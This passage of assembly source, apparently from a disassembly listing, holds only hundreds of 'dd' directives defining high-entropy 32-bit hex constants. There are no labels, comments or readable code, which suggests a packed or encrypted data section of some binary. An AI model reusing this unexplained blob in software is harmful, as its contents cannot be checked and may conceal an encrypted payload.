		dd 6BF4C225h, 1DE95804h, 908950ABh, 0DBB5A54Fh,	600E4DA0h
		dd 92C388A2h, 3C29AF98h, 0F700255Bh, 3821ACC6h,	0F0010604h
		dd 0B70A56E9h, 46071127h, 658927D7h, 0ACBD56F3h, 0B080E235h
		dd 885253A4h, 0C72BE5C2h, 3B9CF23Dh, 432F7BFAh,	177978D1h
		dd 125079F6h, 0A7290088h, 0E9387AE1h, 82A29F20h, 0FC78D7F8h
		dd 0F156A0B5h, 955E5418h, 0F798AF72h, 97015540h, 74699A74h
		dd 208E81A5h, 20567ACEh, 54820B3Ch, 57511E75h, 30AB47D2h
		dd 0A0E7A5FEh, 9FB15D32h, 6093406Ch, 0C003E72Dh, 0FE7407E8h
		dd 2AD8F63Fh, 42B5EF58h, 0E220F738h, 74066280h,	0E7AC5D5Bh
		dd 3922BFB5h, 6A020921h, 52800659h, 164F680Ah, 95D76EBFh
		dd 0BDDDB6F5h, 132CA4C7h, 71F7E941h, 9C50612Ah,	0D17FC26Ah
		dd 5BA96203h, 0D709855h, 624C9471h, 0BADA9530h,	29C6F4C0h
		dd 97638C40h, 0C59F3950h, 0C180E08Bh, 0CE4A8885h, 2C1CE0F3h
		dd 5C72DDEAh, 3AF01EDDh, 2D10DF7Ah, 6EE95C21h, 9D85A84Dh
		dd 12DFD220h, 9A209768h, 2FE74C72h, 78347405h, 5C2F2ECDh
		dd 262E766Ch, 59813DE3h, 6FE90A8Dh, 12B72927h, 7CAD22F4h
		dd 6D0E9C9Eh, 0F448DE5Eh, 0E582864Fh, 7B1D6B9Bh, 0EB26C105h
		dd 86E463CDh, 0CF5E9FD5h, 8B02AB68h, 5F139520h,	820D9F4h
		dd 8CF2FBBDh, 0CD91438Fh, 8E021A9Eh, 8B6D05BDh,	0B2007FD0h
		dd 2DD40B10h, 36124CF6h, 0FB1E35F1h, 30B50728h,	0AD14FB0Ah
		dd 694C0293h, 0F0E07994h, 0AC790E0Dh, 59A5D50h,	0DFF2455Bh
		dd 0BD67ADC1h, 0EC906F1Dh, 2CF012EDh, 9CB97B98h, 93E52EE9h
		dd 0A412BF21h, 5AB6916h, 0AF910DD9h, 84041ECDh,	8F0A4BAh
		dd 84F3695Fh, 0AA262C17h, 0E08C965h, 0AA461423h, 17D80B05h
		dd 5294EF2Dh, 92AAB3BFh, 0BBC5C708h, 137BC91Dh,	1FDB005Ch
		dd 2156684Eh, 44C7D140h, 700EEBA4h, 0C0A03923h,	0CD32C1F3h
		dd 9318C047h, 53634D4Fh, 0F425E791h, 5B135627h,	0CBE1DCE9h
		dd 0D750E03Eh, 804BEF40h, 6C506051h, 190CEB8Ah,	18528F13h
		dd 685416FFh, 9C8DBF9Bh, 6D30391Dh, 0F5BDC1A7h,	897833B2h
		dd 54B91466h, 36064FE5h, 3509104Ah, 82A7833Dh, 0D958C376h
		dd 36EA6260h, 37A67848h, 20AFC69Fh, 0FDE80F01h,	5942F2A2h
		dd 40ACB475h, 794BED1Ch, 0CB4A80A7h, 6AE24AF7h,	0BB1027C5h
		dd 9930D129h, 0AEB75E9Ah, 2EE96468h, 400467D0h,	17763354h
		dd 8F826830h, 0B2BF42E9h, 5B5FEC1Bh, 3A628C3Dh,	576FC29Dh
		dd 0BF56CF7Ch, 0E32684ECh, 579CD4E2h, 0C30D8EA7h, 0F92D0568h
		dd 97813D1Bh, 9664FDC2h, 15B12F04h, 381DBC06h, 4CF84D58h
		dd 86987474h, 981E4177h, 0F7145F6Fh, 1F864007h,	19E70B4Bh
		dd 0B13B4B7Bh, 0E1E96A69h, 4C3D76F1h, 2B95BFF3h, 33187505h
		dd 355EB768h, 57B103A9h, 71BE2ABEh, 302CDBDh, 0C792B380h
		dd 0BC83D8ABh, 0FEB9C0A3h, 3B793A16h, 0E975CB61h, 0D8341F88h
		dd 3DBF7F68h, 799A3C41h, 0C17F8954h, 0BF2EFB50h, 0C1F24F2Dh
		dd 37304868h, 0AA52138Ah, 13A30E21h, 0C23B0785h, 355204AAh
		dd 9845BD05h, 38C2B199h, 2EB900AFh, 7D953159h, 0DA05AC83h
		dd 36295AFh, 451979E5h,	1EE5F8F3h, 43ABC907h, 1F07A4D3h
		dd 5DBB0B1Bh, 8CE814C3h, 3D9C6D76h, 0FFC5983Ch,	4B23E903h
		dd 9D05909Ch, 0C21FAEC6h, 5457DA29h, 2831AAA0h,	5F995BD8h
		dd 724B8824h, 55986A16h, 2D2FE8C1h, 7FD2802h, 0D042FECDh
		dd 39AC7EE3h, 0FB08D413h, 0E2BF8764h, 0A30976F7h, 4A2999E9h
		dd 1FB051F1h, 43DA4BF7h, 7D2814FDh, 2204F55h, 5FFB29C7h
		dd 0F3215D69h, 0A358CEEAh, 90AD894Bh, 35FA6882h, 0D2B74DCCh
		dd 6C8120B1h, 0AD5BC001h, 4D49E925h, 0E4C4972Eh, 0C2BA0007h
		dd 0B540A342h, 45864D22h, 7902BF00h, 9737487Ch,	1060628h
		dd 0E30AB1EAh, 7BFA0158h, 0E9CFB0F3h, 0BC68F529h, 5A16CD81h
		dd 2100C761h, 0A590D8C5h, 77CB579h, 3E19E100h, 2F680F87h
		dd 1B531B36h, 0F04B0449h, 1404C1Dh, 0E8B7880Ah,	702C4C0Ah
		dd 0ECF87F06h, 0E93B96F5h, 0F4C24C09h, 0A1694945h, 5BD76818h
		dd 0D17FC76h, 6EEE39DAh, 0D90A9164h, 0F889FA3Ah, 0A5B85C2Dh
		dd 0CFB39EA2h, 0C0D2F600h, 5B037AEAh, 68A18070h, 0F71E0B4Ah
		dd 0ACCC590Ah, 0C862A6Ch, 67C480ECh, 283CC906h,	30EB7ACCh
		dd 95D37BC5h, 52260BBFh, 5725E4F1h, 291706C0h, 492CF995h
		dd 1C552089h, 0D48F252Fh, 0B80F8098h, 96EE149Dh, 4D10086Ch
		dd 65A86826h, 0C7002A4Eh, 0E82FCBBDh, 6E82BF03h, 45DE30FFh
		dd 0EDBB3030h, 1610A39h, 0C27D3F7h, 0C36B70FDh,	29D95D0Bh
		dd 1A0BFF23h, 6D627D0h,	33039ABCh, 16E96D74h, 0C780F300h
		dd 5BF80822h, 2E004C0h,	0FA883204h, 0E2275DACh,	0DBF636E0h
		dd 0E690D3E4h, 5CC2AB70h, 55B6D5E9h, 828AC4D1h,	0DDC982F4h
		dd 76B5B350h, 82517199h, 397B1E98h, 5209554Ch, 29BDA5Fh
		dd 261CBD4h, 0F651CA01h, 0C0231AA9h, 2FA35114h,	61BCF497h
		dd 3059CF09h, 6C16FD81h, 9BA27EBAh, 85C4E917h, 0A457F971h
		dd 683760AEh, 199F3195h
		dd 2534D4FEh, 7C190325h, 0D0F70A6Ch, 290681B8h,	1040FCFDh
		dd 52274327h, 4D612490h, 5652500Ah, 10416598h, 4556BA3Ah
		dd 0A8212307h, 0DF689DF0h, 98CBB5Eh, 8A94CB9Bh,	8CFFBB7h
		dd 5B277C08h, 0A25C2D59h, 0C050660h, 9EDE2FA4h,	0FBF8B940h
		dd 3B796E9Fh, 0FE96E2C0h, 5B0BF9C2h, 0FD9B16B0h, 74D0D920h
		dd 2F10BF2Ch, 5302525Fh, 6514D168h, 0C601F748h,	472C2872h
		dd 0F20165C7h, 2F5007F7h, 0EBC70C3Eh, 66A46B07h, 4751ACAAh
		dd 0F15B28FBh, 48CE1827h, 9C331544h, 7764EF13h,	0C878D132h
		dd 0BBB2C7FEh, 0D3E5398Fh, 0CD46D234h, 4F3CF475h, 2DCA02A3h
		dd 0D4978AE6h, 2E6027FDh, 75D668F6h, 5EDC23BBh,	5A84894Bh
		dd 12203BE4h, 0ED3F060Dh, 0C63224B1h, 0E6FA5E12h, 0A10C4118h
		dd 0CE3C1C28h, 0A4454FFCh, 0F766C17Ah, 0FB2360D2h, 79827612h
		dd 3298C1FEh, 0BC7F341Ah, 0F2A27894h, 90918D20h, 0C5D64BABh
		dd 0B18BBE37h, 0BA081312h, 0FC490F2h, 4470AA43h, 7C06B050h
		dd 0C8FE022Ch, 12F76866h, 0B5816456h, 0A4FE9F3h, 26EE8C6Ah
		dd 219C3800h, 0A72FF60Dh, 1FEEA1Fh, 3539853Bh, 0CABF3FFAh
		dd 16CBE9FFh, 2F90B82Eh, 0BB24FE6h, 0BDC8C21Ah,	9813847h
		dd 0FACAB02Bh, 0B3FFF58Bh, 612F25B9h, 7AD856B1h, 0C5E1C03Ch
		dd 303414E3h, 0D9150CC2h, 1E0FDC4Fh, 61AAD3E9h,	0C231D467h
		dd 5A27D45Fh, 4E48EEFFh, 5AE20973h, 0AAC22D5Eh,	0F6D97FF4h
		dd 11130703h, 5D49F20Fh, 189122Eh, 4C61EDFh, 73474F68h
		dd 0E1818426h, 47FC2F9Ch, 96B2BFE4h, 9F5F58CDh,	0EF87FE36h
		dd 806B297Dh, 0C13F1BF2h, 20F2957Fh, 285D820h, 6DCDB850h
		dd 88D52AE7h, 0BFE04D7Dh, 4EBC148Eh, 46E80Eh, 5257D8F7h
		dd 27070668h, 225C7158h, 0E1636202h, 0E010C24Eh, 0E05AD2Ah
		dd 4A4159CAh, 2514B9A0h, 0D8282963h, 570A072Dh,	0AF162668h
		dd 22481789h, 7542D6E4h, 83147F6h, 5528BA52h, 4B48C280h
		dd 0E91778E3h, 0E8F962E1h, 0E9DC1D13h, 292F1232h, 64918441h
		dd 0F9487076h, 2A4641C4h, 5D7971BCh, 5B2C44BEh,	36B58593h
		dd 9F23C130h, 0F1758F4Dh, 6F31A766h, 87A0816Fh,	51D4F58Fh
		dd 595582D2h, 2D81A608h, 9C0788FFh, 6B602D8Fh, 0DFFD04FDh
		dd 616512AAh, 0F4E3D19Ch, 92BD3E0Bh, 0B0847545h, 0C7CC80E1h
		dd 3130E90Eh, 4F53BFCh,	27BD0986h, 8746E829h, 8490249Dh
		dd 1AF95D5h, 0C37DFC6Ch, 6DA13B69h, 7B200B47h, 5FE91676h
		dd 80C2C0B7h, 28176DEDh, 0E3E959EFh, 2DC4A810h,	698F7D05h
		dd 8009EAD2h, 0E7E5DF89h, 0FB1AAEA4h, 52FFDE7Ah, 15441774h
		dd 0E162CDEAh, 26B02EB4h, 21539D01h, 0F06A454Dh, 9DE0ABh
		dd 53F6B5E8h, 25EF7A88h, 49E68EDDh, 0F2FA9EBAh,	8CC90A4Ah
		dd 821962E0h, 0B5399C75h, 68924FD9h, 0E1E835BFh, 64BE3A3Ah
		dd 0DF6CBF4Ah, 0FA680456h, 0FA21BB31h, 50A31B4Bh, 27B7BB61h
		dd 5E684B21h, 96B72839h, 89C26DBFh, 564B5051h, 0A87C9704h
		dd 9EFB4A04h, 1628597Fh, 18FC92FAh, 0BDA781A4h,	5477C22Bh
		dd 0A2E970F2h, 0E595D692h, 1E772DD0h, 0B377D353h, 39F493E8h
		dd 232253D4h, 0E9048F88h, 42BBBBD1h, 676C0E1Ah,	0A6BB980h
		dd 0CA974EDDh, 5D08032Eh, 92ADCC29h, 41124B10h,	5EF57B13h
		dd 0F57B6221h, 0B4BC2E6Ah, 2C16747Fh, 8427571h,	0D72FA7D5h
		dd 642CF8Ah, 104F5261h,	0E5B7BBEEh, 10C9A6BEh, 4E464C30h
		dd 58DD0EAFh, 47EEFEBh,	785FC8BDh, 34C1CB40h, 845405E1h
		dd 0A9D282D7h, 43D58EC2h, 2909BC0Eh, 0AEFF5D89h, 8C6FEAB1h
		dd 0F96D200Bh, 0E65C3C10h, 68E08C4Eh, 0AF173829h, 439275ADh
		dd 0ABF29062h, 0E0E1FE4Eh, 525EF4Eh, 535F85D7h,	4831CEAAh
		dd 0BE082C9Fh, 47EDF101h, 0E1D81155h, 6413121Ch, 0BB89AA41h
		dd 0BF590B97h, 0BBEA2A90h, 757C97FEh, 0B70B142Dh, 52A670FBh
		dd 0FB410787h, 0E7CF8133h, 474211F1h, 184CC7DCh, 0C1CC327h
		dd 0AE3E4308h, 0ACF70218h, 551BFEC6h, 5F5A195Eh, 0D697647Ah
		dd 13B26E5h, 5C3F6EAh, 8BF77889h, 0BE916008h, 4BFEE021h
		dd 1D41BA02h, 6CDC5EC9h, 4DB8027Bh, 1476BD97h, 56EDA53Fh
		dd 21E985D2h, 0E31FCDC1h, 0BE4C46E2h, 633F9E09h, 4031763Ch
		dd 2B9B2D9Fh, 262A99A0h, 18C71EF6h, 0E046C5Fh, 5B2E91C1h
		dd 8EA5277Fh, 17DD1EE2h, 52841360h, 0F157682h, 8E461CE4h
		dd 56BD7641h, 4EF1C22Bh, 0E4F60FC8h, 2B3006CEh,	20C1E4F0h
		dd 0BF04FAD3h, 32CC7A13h, 72AF14EFh, 23430C04h,	6A2AC1DEh
		dd 5532EFFh, 0F9BC2E0Ch, 0F750315Dh, 6A032D4Dh,	357B02A7h
		dd 0AB8E4290h, 6B16717h, 8332DD3Eh, 0E9DFB62Ah,	0B9CB070Dh
		dd 70EF534Dh, 56A9C981h, 0D1A0F94Eh, 0D33F14D9h, 0A3049A19h
		dd 0C13BE82Fh, 0D5C84D97h, 4EFE20ECh, 7FC34A02h, 5E0285E9h
		dd 97FA72Dh, 9D827D2Dh,	276A53C6h, 6506EB0Fh, 0EB2F1139h
		dd 0F28B1B5Dh, 3E8B7519h, 0A88BC7D5h, 41BC6EBDh, 65795DC9h
		dd 0FED1F661h, 536055F2h, 0F90830B8h, 163C86E9h, 0FAEFE159h
		dd 4A9641E0h, 0E90F1604h, 0ADAF8F66h, 67CB9E6Ah, 0FAC77F8Dh
		dd 9B00B92Ch, 0E93BAE14h, 0F14895F8h, 77A7BF1h,	6A0C4260h
		dd 1A581F37h, 833228E9h, 2958AC1h, 6920E14Fh, 7C8E6800h
		dd 8863CBBCh, 0EA5500BFh, 3963173Eh, 37FAD029h,	7324D54Eh
		dd 3E8A21ABh, 84AF0451h, 4BF8BF88h, 0FFFBDCB0h,	1F90E583h
		dd 341F7773h, 166A5A1Ch, 58322C07h, 0BA965064h,	59685A01h
		dd 0C085285Ch, 17C0579Fh, 37E70481h, 0AF3F4577h, 2DE920F0h
		dd 0ECF173D4h, 0B253464h, 0C5570C79h, 825C96E5h, 0A4A3660Bh
		dd 9010D328h, 59250BA6h, 858A9C0h, 8730FA7Ch, 4BCD4B6Dh
		dd 0F663E029h, 50E5BAB3h, 0B35AA55Bh, 42B52CAEh, 640A1EB3h
		dd 44FE5607h, 6460C4A2h, 0AE1DA016h, 0A791234h,	902F0421h
		dd 1880562h, 0FD10F9CFh, 0CB24BF6h, 1309680Bh, 3E882879h
		dd 647F259Ah, 6375F67Bh, 0ABC5C909h, 166DFD8h, 2656D52Ch
		dd 234B5302h, 1C695E69h, 0C2E9C487h, 0E50F9954h, 0A4CB6895h
		dd 6BCBBBh, 5320478Fh, 940E3DE9h, 0FA86AADBh, 0C645C035h
		dd 21363166h, 795FDEF6h, 1AEF15D0h, 3E4D0B11h, 2808F701h
		dd 2D0E2C08h, 46F9176h,	9BFDE02Bh, 0D006B812h, 17C7A722h
		dd 0CD316B14h, 0E829E0A5h, 0E05005Dh, 1701679h,	7A32DD8h
		dd 596ED0E0h, 1368641Ch, 4E22666Dh, 58AB82F2h, 1D5011FAh
		dd 0CAFC10BCh, 572744B6h, 0B78945EDh, 49AF2AEAh, 0D7BAD72Fh
		dd 5E0FE140h, 0B8CB0180h, 29291BAh, 21166859h, 2A0197Fh
		dd 918C8114h, 64A27F2Bh, 68209448h, 3EFC017h, 208988FDh
		dd 77CEE2DDh, 60278CB4h, 0B516A20Eh, 85F6574Ah,	18E6D073h
		dd 680A2878h, 0E1AE4AC6h, 0B5B77E64h, 377C05CBh, 45526884h
		dd 705603CCh, 12806EBEh, 521D2DD7h, 0DB535101h,	0D7565942h
		dd 131134E0h, 5A46E012h, 3DE8BA01h, 0BD301C49h,	3E3700B6h
		dd 81E2D109h, 4E0228CAh, 0F9E9178Dh, 5CC1A40Ah,	2B178DEEh
		dd 5B0585BCh, 0A85D685Eh, 0DCBEC7CAh, 29B277D7h, 304B6574h
		dd 0F4D969Fh, 0E010231h, 944BD55h, 0A061F5FBh, 60BF262Bh
		dd 403684Ah, 0FBE960A4h, 0BB02C5F4h, 0BBA4F6A3h, 0A5B5D9A8h
		dd 0D7A9C6C6h, 44109980h, 0C0A00852h, 3B763F7Bh, 75FD095h
		dd 2534EF35h, 307E514Ah, 7E3BD732h, 0A5B1AC2Ch,	0F2F7720Bh
		dd 608D01Fh, 5BE0987Dh,	4E14A37Bh, 0BC3084BBh, 1B9B8AAh
		dd 49D21E8Ah, 4C434868h
		dd 0E49F52BAh, 734E7F0Dh, 9E8799BDh, 542A4255h,	0A5801F22h
		dd 0A67887F5h, 0DBE9120Ch, 2FC3833Eh, 0D6FE5770h, 6E7C4882h
		dd 0CA78027h, 58038D0Fh, 2D037F56h, 0E923F81Ah,	0D709E2A2h
		dd 455D53E2h, 5BDF0483h, 5398AB51h, 9C0E17CAh, 402BEC0Bh
		dd 5E00D9FEh, 0E5814EF8h, 5FFE69C7h, 0A0C5D06Bh, 38283B65h
		dd 4628D109h, 0BA00FBF8h, 6D1C649Dh, 1C03F281h,	4C423725h
		dd 2A12DAF7h, 9907EC05h, 8B581FE9h, 366C068h, 0F587153Fh
		dd 840D6F7h, 7E175887h,	42EF1C4Eh, 54D3C550h, 0ED1EDD5Eh
		dd 725F8604h, 786CE5C2h, 0BC304FA1h, 96513DBEh,	0ACF852B3h
		dd 0E995283Dh, 35758007h, 0ABAEF3A9h, 13EB86C4h, 26E70152h
		dd 0D913B250h, 329A30F7h, 48B0014Bh, 0FEF44E7Fh, 0E6968827h
		dd 83681273h, 0E0A7C97Eh, 0F1BD598Dh, 11FDCBA1h, 282E14BFh
		dd 5D060532h, 0EEE9331Ah, 785CBCA1h, 0FC6903E9h, 4C8F8322h
		dd 2D7C4C0Fh, 135AC41Ch, 0AB81BE3Bh, 4A645BE9h,	99DEB75Fh
		dd 85D0EEB7h, 97499CF7h, 275E9B41h, 6E380007h, 0E5254AD2h
		dd 3C490475h, 889BC6E9h, 1C37679Bh, 0FFC976E8h,	0D85B18C1h
		dd 29C1434h, 0C71B9981h, 0C67E3159h, 2B7806ACh,	0D3F74017h
		dd 0CEB18D8h, 9E808403h, 3709765Eh, 62010AB8h, 16080B5Bh
		dd 974C9DD8h, 0BD017220h, 0E968F661h, 3D303B54h, 16824698h
		dd 0EB4EE948h, 0B2EA4012h, 0F8C08906h, 362935E5h, 5CE40425h
		dd 0D542090Ah, 38C2E560h, 3E1B0C1Dh, 32EB84BCh,	748029D2h
		dd 5DAA7E2Fh, 690B1058h, 0B47E4310h, 0C99808A0h, 0A459155Ch
		dd 0BC4B07F3h, 0C9578E07h, 0D85AE335h, 9FFEF249h, 1E2CDF18h
		dd 7EA8BA97h, 919AEB31h, 56052254h, 33A07B68h, 0A1D42FE9h
		dd 0ACC22898h, 404E1817h, 840A8EDh, 0F484C850h,	9C72F619h
		dd 0CCF1BBE7h, 605460E4h, 4B627259h, 0E9E638A9h, 5B0BB7D3h
		dd 3A7600F8h, 0BD2C3647h, 0DC626A2h, 0F5F68001h, 8220EECDh
		dd 305801B7h, 0B4505BFEh, 0B9D370FBh, 53412294h, 10FFE068h
		dd 13C654C7h, 0F3202D5Dh, 1C5AD225h, 0F35016F7h, 0F0FA58B0h
		dd 32EDB087h, 93DF88A1h, 4AD39A22h, 0A8547522h,	44066804h
		dd 25CB10ACh, 8068B045h, 22332C00h, 0A98AE97Dh,	65614399h
		dd 5EF95EE0h, 0EA68B118h, 65BC8140h, 7B84DF24h,	0D024E90Bh
		dd 284AB3E2h, 42D24143h, 0A38048A3h, 58A1210Dh,	63EC0505h
		dd 0B00A448Ch, 5F1D072Dh, 1941DF81h, 822A291Fh,	0A95DEE8Ah
		dd 0DD2606F0h, 3EBF9B53h, 43424425h, 0BEA85175h, 97D3D32Ah
		dd 0C48190D7h, 19BF0C70h, 9FDE5658h, 5A01E12h, 10F1DFBh
		dd 636345Fh, 7E80A589h,	0D6A63E41h, 54F602E5h, 0C240197Dh
		dd 4B2508E6h, 0D2FC0002h, 12269371h, 0CC53E968h, 5C1318C2h
		dd 9C002770h, 268E739Fh, 0E9F71321h, 0C278C4ACh, 0B17E07AEh
		dd 0FE931C9Fh, 2130CF2h, 320C675Ch, 0EA480E6Bh,	9E274E8Eh
		dd 8368DC65h, 3F9745C1h, 0F62F1C05h, 0CAC08E44h, 0CBF995E9h
		dd 9FF5F56h, 14390398h,	6575274Ch, 6246408Fh, 0D4241506h
		dd 5C44E8CBh, 0C357AB5h, 0A709F56Fh, 0D309D7FAh, 8004F25Dh
		dd 2828FB13h, 90825C1h,	4A2A1B4Eh, 0CA0445Bh, 5958B5h
		dd 492D7CB7h, 93AC44B8h, 0E7E9DC17h, 7BECB9C4h,	7E07ECB2h
		dd 1E04575Ah, 0F6BFFEFDh, 0A32D1A2Dh, 39077D22h, 0EB80115Ah
		dd 0F76C292h, 0B5518E3Ah, 8E61E56h, 33705516h, 20E636Eh
		dd 0B2A8BD56h, 8678F160h, 757039B0h, 451E4812h,	0ABC4731Fh
		dd 12BED6EEh, 2CFEF74Ah, 680A294Bh, 0E98BBA1Ah,	7DD7042h
		dd 382EB3B8h, 0D39CA566h, 82B25E53h, 596444D0h,	4FEB9A8h
		dd 42A6E64h, 13EF2768h,	92F0BD58h, 50592ACh, 8B208071h
		dd 0E91850E4h, 0D5AA0E27h, 45411B93h, 4C0F2EF9h, 2939CB45h
		dd 0A76A0437h, 4603BC2h, 0EC88AB51h, 2FD0905Fh,	15DF9501h
		dd 565A27B3h, 0AB17104Bh, 56379CBEh, 7A64A7FEh,	0D3E2581Eh
		dd 0EA24AD58h, 928B1EA2h, 376621D5h, 58932332h,	70B75D5h
		dd 804D34FFh, 536AFD0h,	0AEF09F08h, 0D559BA2Dh,	0BE68C116h
		dd 1508AC0Fh, 0B4E96107h, 4C1B8A2Bh, 0B6803740h, 6EEC091h
		dd 80CE39FEh, 0E61BE53Ch, 0C6C90705h, 85B02E34h, 0E906C230h
		dd 46753861h, 0FB7649E9h, 6E685004h, 0C4B3BC51h, 29028D7Eh
		dd 0D15F59CEh, 0E6F79E2Dh, 27C22F99h, 44ED348Bh, 0C3645F27h
		dd 92EE7D24h, 6603C696h, 0CF2941A4h, 0B08948Fh,	0D434875Fh
		dd 7E5E790Ch, 0ABA479ECh, 0BB2414DEh, 0D17EA733h, 454ED65Ah
		dd 7A9CBDBFh, 32D65490h, 5A6070C9h, 0BAA517EEh,	2A520C9Bh
		dd 5AB806FCh, 50CE912h,	0E6AA1A25h, 93257FF0h, 6996A01Dh
		dd 0BF7DBC53h, 0D73299D0h, 75EA1BDAh, 7E20604Bh, 0CD012C99h
		dd 0BBAF168Bh, 6058E192h, 2C13167Fh, 4BE20A3h, 0ECFC87E9h
		dd 15C4A4B7h, 39868D1Fh, 9538971Fh, 1D38655h, 91167038h
		dd 571917A9h, 0F290F8DEh, 80474831h, 0F618BF5Ah, 6EA0D281h
		dd 2D16FAB6h, 83048913h, 0C3508578h, 0A7625E2Dh, 33F0BA80h
		dd 0E9B0408Dh, 0B5466F14h, 8B041086h, 0BC7AB755h, 17CC4AA3h
		dd 0E2E91255h, 4764E478h, 5D4C579Ah, 1B30304Dh,	722F781h
		dd 31737B6Ch, 0EED5D2FAh, 89E8D35Fh, 66DF0243h,	0EF6D30AFh
		dd 64A1ED43h, 3747E324h, 0E012C700h, 81D5090Eh,	0CA75C8C5h
		dd 0B84D4625h, 7C45D0Ah, 60942D2Ah, 390520C3h, 3EE5876Bh
		dd 50AA0281h, 450F6800h, 1E589D3Dh, 0A9A5C9E8h,	38E60467h
		dd 4F1483FEh, 79A6E0F9h, 2F4A0488h, 95B56C78h, 9D34C7FCh
		dd 0CD5DFB93h, 0EE2C80D6h, 17B05053h, 0E8C8FE45h, 0BE926AAh
		dd 205B5830h, 1088C4E5h, 8E31FFE2h, 0A36F8BF8h,	9B899F59h
		dd 0C1A0D1C8h, 3AFEECD6h, 2430BB2Dh, 0F306CBA2h, 8BA6E45Eh
		dd 484D6804h, 0A280A7E8h, 0E6B75352h, 23EBE917h, 4D05A3FDh
		dd 0AC061037h, 63A75FC2h, 0F7B3530Ch, 0FE73395Eh, 56DAE91Bh
		dd 4B41ABA4h, 9ADBEF95h, 0EDCD1312h, 44B22F4Fh,	20ECB7CBh
		dd 7BFBEA05h, 0D4FB0FBBh, 0BE08134Ch, 24E9DB2Ch, 43599E37h
		dd 1FB4DBE1h, 0F69AF10Bh, 76F362A0h, 62E0687Ah,	7B3B113Bh
		dd 5A857409h, 0B1605F10h, 7E975EF1h, 27E40743h,	4150BCC8h
		dd 0F72F1558h, 0ACAEE634h, 6DEFB52Eh, 168A52AEh, 55CB0B7Dh
		dd 7725A047h, 92C133C4h, 56704C2h, 0C3DD43Fh, 0E9375F08h
		dd 0D5865427h, 0A30BF9B2h, 89FB65F7h, 342E5D32h, 0A6F6530Bh
		dd 6FE1E61Dh, 0AAF58F84h, 152625B3h, 0BE56816Bh, 6CDF1A6Ch
		dd 5D8002FAh, 0F029308Eh, 2088251h, 5D5FFAADh, 0AD35C35Bh
		dd 2C943681h, 4048DD2Bh, 6D62FECDh, 352D6700h, 0E95FDA4Fh
		dd 0D8195EDCh, 0BB5375Bh, 1EED7ACh, 573570A0h, 0E942C004h
		dd 0B3C99558h, 98DA9320h, 0E60B72Dh, 63F43188h,	7E845A60h
		dd 68118321h, 2408DB29h, 6CE9899Ch, 3F684B41h, 4C360421h
		dd 0EFA1AB38h, 2F309201h, 0EAA79A44h, 0B7CE8100h, 7C50E358h
		dd 6205AAB8h, 0FAE921D8h, 0F35EE7F8h, 40F6DA67h, 0C07A1FEDh
		dd 1A87C271h, 682E531Dh, 0D4CB9EBCh, 789E42B8h,	724B8209h
		dd 69437C71h, 2DA0FE5Ah, 54252A60h, 0E2F66831h,	12D030CAh
		dd 0D606B466h, 18E92609h, 2E209036h, 0FB465B7Fh, 0BF12C44h
		dd 7F77AC83h, 0A5740C0Ch, 0AA2C4908h, 228B7D3Bh, 3CC1E601h
		dd 1E601733h, 8FAC1387h, 7FB9317Fh, 0EBE7C969h,	0C43FBA49h
		dd 760FAD8h, 0B0DA6DC6h, 4F35EADh, 0AAFEF2FEh, 50273F3h
		dd 73A1488h, 0A8544C0h
		dd 42484025h, 0B42FE5Ah, 9C551C1Ah, 4599FA6h, 0DB04D8CAh
		dd 2097DE29h, 0A521D650h, 5E64B701h, 2780564Ch,	548CD467h
		dd 254D5C4Ah, 7A2C1956h, 25023658h, 316B5B06h, 9C2F985Eh
		dd 856AEF89h, 2A79BF6Eh, 2560CB3Bh, 944FF550h, 2ACFE909h
		dd 3F1EBED7h, 58ECB028h, 24478F04h, 46E4FA68h, 4AB85AD4h
		dd 293058Ch, 45302E7Fh,	5442097Dh, 0E6A28101h, 46096097h
		dd 3009E8DBh, 5F3B740Bh, 440F97A9h, 607D25A7h, 3830F0E1h
		dd 105E225Ch, 800E0D2Dh, 0EC7F9FC1h, 68C90F58h,	93F6DC3Fh
		dd 0B75845D7h, 260BFBD3h, 9D13D47Eh, 0C4C4D2F1h, 0DC21FFCAh
		dd 0BE9348CBh, 8A75AE99h, 2B19E1EFh, 75EB5DB0h,	871C2559h
		dd 5CAB2DDh, 0A4D6E8F6h, 35ED0FF8h, 0A48B39DFh,	0AE4FB324h
		dd 880470DDh, 0FB303887h, 9FB89748h, 3DD4DF09h,	248928CEh
		dd 32E50090h, 200D26E1h, 414C7513h, 35DA07AFh, 7154A3A9h
		dd 0AE2A85E8h, 6D096B7Bh, 0F5841091h, 6362BFD1h, 0AD20FEB7h
		dd 42909BFAh, 0C8B9682Fh, 80CA5138h, 241355BFh,	0C0AE74B2h
		dd 1C33E1E8h, 0E9124205h, 0B2AED8FCh, 2CB2C071h, 2D0C19h
		dd 7BC64E01h, 0AA33E940h, 0F56630C9h, 5013F091h, 2C06059Fh
		dd 2D1622E2h, 58B16074h, 75EE66Bh, 1C02BB53h, 0A7646099h
		dd 757E4C31h, 0C1ABBF10h, 1C9A6858h, 213ACD8Dh,	0C7C12A99h
		dd 38066526h, 26E2920h,	685EF509h, 1F717E28h, 59527689h
		dd 0AE5713B9h, 0A933ED97h, 8A1AB235h, 7C0165DEh, 0D1434A02h
		dd 0BF1CC20h, 0F4536D8h, 75F4CD50h, 5C4C89FFh, 94E968D2h
		dd 565582E7h, 0B273C3B9h, 0CF68160Bh, 690D6677h, 65FF327Bh
		dd 68590202h, 4C7F5F81h, 23B9209Bh, 575B5825h, 9C90C034h
		dd 0D9359E04h, 0B8BA016Ah, 41C3B2DFh, 50A514B4h, 84B445D5h
		dd 92F13EE9h, 0F97FE1B2h, 6F160B01h, 9C0E7F7h, 8A5C8CBBh
		dd 0DB6C5D69h, 5979FC9Dh, 0F9F80CEAh, 0C2025239h, 78D9BD9h
		dd 9528045Ch, 131AF89Dh, 0BEFEF3A3h, 9C203599h,	0C0103968h
		dd 109AEC5Bh, 0B8000A41h, 2B8B51D9h, 2500AD05h,	120D3968h
		dd 0BD5A4372h, 6EFCC95Ah, 810C881Ah, 23B88BACh,	50EB39B4h
		dd 40691B6Eh, 0E50B6808h, 59239272h, 0F0CCE1FEh, 5FB32FFEh
		dd 3D38637Eh, 27173FC9h, 0A0A3C6EAh, 5146B203h,	0E88072B5h
		dd 0BD0DE9h, 0CA8B89Fh,	2D630231h, 749C457Fh, 51C7B41h
		dd 37EC5B01h, 0DC7D03CAh, 5EA80073h, 0E94178B7h, 0AEB7D677h
		dd 0D9C08908h, 0B7C901F5h, 0BF53C55Fh, 2A70F810h, 717FDEBDh
		dd 40526A02h, 302A29AEh, 0DFAA06C3h, 1308E57Dh,	0A2152231h
		dd 0D10B3970h, 2D039EAh, 556A739Ch, 0C88891D3h,	885304EAh
